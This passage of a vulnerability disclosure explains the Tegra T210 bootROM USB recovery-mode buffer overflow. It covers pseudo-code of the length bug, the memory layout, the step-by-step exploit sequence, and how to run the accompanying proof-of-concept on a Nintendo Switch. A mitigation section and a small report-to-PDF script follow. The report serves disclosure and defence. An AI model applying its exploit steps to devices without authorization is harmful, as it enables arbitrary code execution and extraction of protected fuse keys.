As an example, the host can request the status of a device by issuing a
`GET_STATUS` request, at which point the device would be expected to respond with
a short setup packet. Of particular note is the `length` field of the request,
which should *limit* -- but not exclusively determine-- the *maximum* amount of
data that should be included in the response. Per the specification, the device
should respond with either the *amount of data specified* or the *amount of data
available*, whichever is less.
The bootloader's implementation of this behavior is conceptually implemented as
follows:
```C
// Temporary, automatic variables, located on the stack.
uint16_t status;
void *data_to_tx;
// The amount of data available to transmit.
uint16_t size_to_tx = 0;
// The amount of data the USB host requested.
uint16_t length_read = setup_packet.length;
/* Lots of handler cases have omitted for brevity. */
// Handle GET_STATUS requests.
if (setup_packet.request == REQUEST_GET_STATUS)
{
// If this is asking for the DEVICE's status, respond accordingly.
if(setup_packet.recipient == RECIPIENT_DEVICE) {
status = get_usb_device_status();
size_to_tx = sizeof(status);
}
// Otherwise, respond with the ENDPOINT status.
else if (setup_packet.recipient == RECIPIENT_ENDPOINT){
status = get_usb_endpoint_status(setup_packet.index);
size_to_tx = length_read; // <-- This is a critical error!
}
else {
/* ... */
}
// Send the status value, which we'll copy from the stack variable 'status'.
data_to_tx = &status;
}
// Copy the data we have into our DMA buffer for transmission.
// For a GET_STATUS request, this copies data from the stack into our DMA buffer.
memcpy(dma_buffer, data_to_tx, size_to_tx);
// If the host requested less data than we have, only send the amount requested.
// This effectively selects min(size_to_tx, length_read).
if (length_read < size_to_tx) {
size_to_tx = length_read;
}
// Transmit the response we've constructed back to the host.
respond_to_control_request(dma_buffer, length_to_send);
```
In most cases, the handler correctly limits the length of the transmitted
responses to the amount it has available, per the USB specification. However,
in a few notable cases, the length is *incorrectly always set to the amount
requested* by the host:
* When issuing a `GET_CONFIGURATION` request with a `DEVICE` recipient.
* When issuing a `GET_INTERFACE` request with a `INTERFACE` recipient.
* When issuing a `GET_STATUS` request with a `ENDPOINT` recipient.
This is a critical security error, as the host can request up to 65,535 bytes per
control request. In cases where this is loaded directly into `size_to_tx`, this
value directly sets the extent of the `memcpy` that follows-- and thus can copy
up to 65,535 bytes into the currently selected `dma_buffer`. As the DMA buffers
used for the USB stack are each comparatively short, this can result in a _very_
significant buffer overflow.
To validate that the vulnerability is present on a given device, one can try
issuing an oversized request and watch as the device responds. Pictured below is
the response generated when sending a oversized `GET_STATUS` control request
with an `ENDPOINT` recipient to a T124:
![Reading a chunk of stack memory from a K1](stack_read.png)
A compliant device should generate a two-byte response to a `GET_STATUS` request--
but the affected Tegra responds with significantly longer response. This is a clear
indication that we've run into the vulnerability described above.
To really understand the impact of this vulnerability, it helps to understand
the memory layout used by the bootROM. For our proof-of-concept, we'll consider
the layout used by the T210 variant of the affected bootROM:
![Bootrom memory layout](mem_layout.png)
The major memory regions relevant to this vulnerability are as follows:
* The bootROM's *execution stack* grows downward from `0x40010000`; so the
execution stack is located in the memory *immediately preceding* that address.
* The DMA buffers used for USB are located at `0x40005000` and `0x40009000`,
respectively. Because the USB stack alternates between these two buffers
once per USB transfer, the host effectively can control which DMA buffer
is in use by sending USB transfers.
* Once the bootloader's RCM code receives a 680-byte command, it begins to store
received data in a section of upper IRAM located at address `0x40010000`, and can
store up to `0x30000` bytes of payload. This address is notable, as it is immediately
past the end of the active execution stack.
Of particular note is the adjacency of the bootROM's *execution stack* and the
attacker-controlled *RCM payload*. Consider the behavior of the previous pseudo-code
segment on receipt of a `GET_STATUS` request to the `ENDPOINT` with an
excessive length. The resulting memcpy:
* copies *up to* 65,535 bytes total;
* sources data from a region *starting at the status variable on the stack*
and extending significantly past the stack -- effectively copying mostly
*from the attacker-controllable RCM payload buffer*
* targets a buffer starting either `0x40005000` or `0x40009000`, at the
attacker's discretion, reaching addresses of up to `0x40014fff` or `0x40018fff`
This is a powerful copy primitive, as it copies *from attacker controlled memory*
and into a region that *includes the entire execution stack*:
![Effect of the vulnerability memcpy](copy_span.png)
This would be a powerful exploit on any platform; but this is a particularly devastating
attack in the bootROM environment, which does not:
* Use common attack mitigations such as stack canaries, ostensibly to reduce
complexity and save limited IRAM and IROM space.
* Apply memory protections, so the entire stack and all attacker
controlled buffers can be read from, written to, and executed from.
* Employ typical 'application-processor' mitigation strategies such as ASLR.
Accordingly, we now have:
1. The capability to load arbitrary payloads into memory via RCM, as RCM only
validates command signatures once payload receipt is complete.
2. The ability to copy attacker-controlled values over the execution stack,
overwriting return addresses and redirecting execution to a location of our
choice.
Together, these two abilities give us a full arbitrary-code execution exploit at
a critical point in the Tegra's start-up process. As control flow is hijacked
before return from `read_boot_images_via_usb_rcm`, none of the "lock-out"
operations that precede normal startup are executed. This means, for example,
that the T210 fuses-- and the keydata stored within them-- are accessible from
the attack payload, and the bootROM is not yet protected.
#### Exploit Execution
The Fusée Launcher PoC exploits the vulnerability described on the T210 via a
careful sequence of interactions:
1. The device is started in RCM mode. Device specifics will differ, but this
is often via a key-combination held on startup.
2. A host computer is allowed to enumerate the RCM device normally.
3. The host reads the RCM device's ID by reading 16 bytes from the EP1 IN.
4. The host builds an exploit payload, which is comprised of:
1. An RCM command that includes a maximum length, ensuring that we can send
as much payload as possible without completing receipt of the RCM payload.
Only the length of this command is used prior to validation; so we can
submit an RCM command that starts with a maximum length of 0x30298, but
which fills the remaining 676 bytes of the RCM command with any value.
2. A set of values with which to overwrite the stack. As stack return address
locations vary across the series, it's recommended that a large block
composed of a single entry-point address be repeated a significant number
of times, so one can effectively replace the entire stack with that address.
3. The program to be executed ("final payload") is appended, ensuring that its
position in the binary matches the entry-point from the previous step.
4. The payload is padded to be evenly divisible by the 0x1000 block size to
ensure the active block is not overwritten by the "DMA dual-use" bug
described above.
5. The exploit payload is sent to the device over EP1 OUT, tracking the number of
0x1000-byte "blocks" that have been sent to the device. If this number is _even_,
the next write will be issued to the lower DMA buffer (`0x40005000`); otherwise,
it will be issued to the upper DMA buffer (`0x40009000`).
6. If the next write would target the lower DMA buffer, issue another write
of a full 0x1000 bytes to move the target to the upper DMA buffer, reducing
the total amount of data to be copied.
7. Trigger the vulnerable memcpy by sending a `GET_STATUS` `IN` control
request with an `ENDPOINT` recipient, and a length long enough to smash the
desired stack region, and preferably not longer than required.
A simple host program that triggers this vulnerability is included with this
report: see `fusee-launcher.py`. Note the restrictions on its function in the
following section.
### Proof of Concept
Included with this report is a set of three files:
* `fusee-launcher.py` -- The main proof-of-concept accompanying this report.
This python script is designed to launch a simple binary payload in the
described bootROM context via the exploit.
* `intermezzo.bin` -- This small stub is designed to relocate a payload from
a higher load address to the standard RCM load address of `0x40010000`. This
allows standard RCM payloads (such as `nvtboot-recover.bin`) to be executed.
* `fusee.bin` -- An example payload for the Nintendo Switch, a representative
and well-secured device based on a T210. This payload will print information
from the device's fuses and protected IROM to the display, demonstrating that
early bootROM execution has been achieved.
**Support note:** Many host-OS driver stacks are reluctant to issue unreasonably
large control requests. Accordingly, the current proof-of-concept includes code
designed to work in the following environments:
* **64-bit linux via `xhci_hcd`**. The proof-of-concept can manually submit
large control requests, but does not work with the common `ehci_hcd` drivers
due to driver limitations. A rough rule of thumb is that a connection via a
blue / USB3 SuperSpeed port will almost always be handled by `xhci_hcd`.
* **macOS**. The exploit works out of the box with no surprises or restrictions
on modern macOS.
Windows support would require addition of a custom kernel module, and thus was
beyond the scope of a simple proof-of-concept.
To use this proof-of-concept on a Nintendo Switch:
1. Set up an Linux or macOS environment that meets the criteira above, and
which has a working `python3` and `pyusb` installed.
2. Connect the Switch to your host PC with a USB A -> USB C cable.
3. Boot the Switch in RCM mode. There are three ways to do this, but the first--
unseating its eMMC board-- is likely the most straightforward:
1. Ensure the Switch cannot boot off its eMMC. The most straightforward way to
to this is to open the back cover and remove the socketed eMMC board; corrupting
the BCT or bootloader on the eMMC boot partition would also work.
2. Trigger the RCM straps. Hold VOL_UP and short pin 10 on the right
JoyCon connector to ground while engaging the power button.
3. Set bit 2 of PMC scratch register zero. On modern firmwares, this requires
EL3 or pre-sleep BPMP execution.
4. Run the `fusee-launcher.py` with an argument of `fusee.bin`. (This requires
`intermezzo.bin` to be located in the same folder as `fusee-launcher.py`.)
```
sudo python3 ./fusee-launcher.py fusee.bin
```
If everything functions correctly, your Switch should be displaying a collection
of fuse and protected-IROM information:
![exploit working](switch_hax.jpg)
### Recommended Mitigations
In this case, the recommended mitigation is to correct the USB control request
handler such that it always correctly constrains the length to be transmitted.
This has to be handled according to the type of device:
* **For a device already in consumer hands**, no solution is proposed.
Unfortunately, access to the fuses needed to configure the device's ipatches
was blocked when the ODM_PRODUCTION fuse was burned, so no bootROM update
is possible. It is suggested that consumers be made aware of the situation
so they can move to other devices, where possible.
* **For new devices**, the correct solution is likely to introduce an
new ipatch or new ipatches that limits the size of control request responses.
It seems likely that OEMs producing T210-based devices may move to T214 solutions;
it is the hope of the author that the T214's bootROM shares immunity with
the T186. If not, patching the above is a recommended modification to the mask ROM
and/or ipatches of the T214, as well.

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#!/usr/bin/env node
var markdownpdf = require("markdown-pdf"), fs = require("fs")
// Markdown rendering options:
options = {
remarkable: { breaks: false },
paperFormat: 'Letter',
}
fs.createReadStream("fusee_gelee.md")
.pipe(markdownpdf(options))
.pipe(fs.createWriteStream("fusee_gelee.pdf"))

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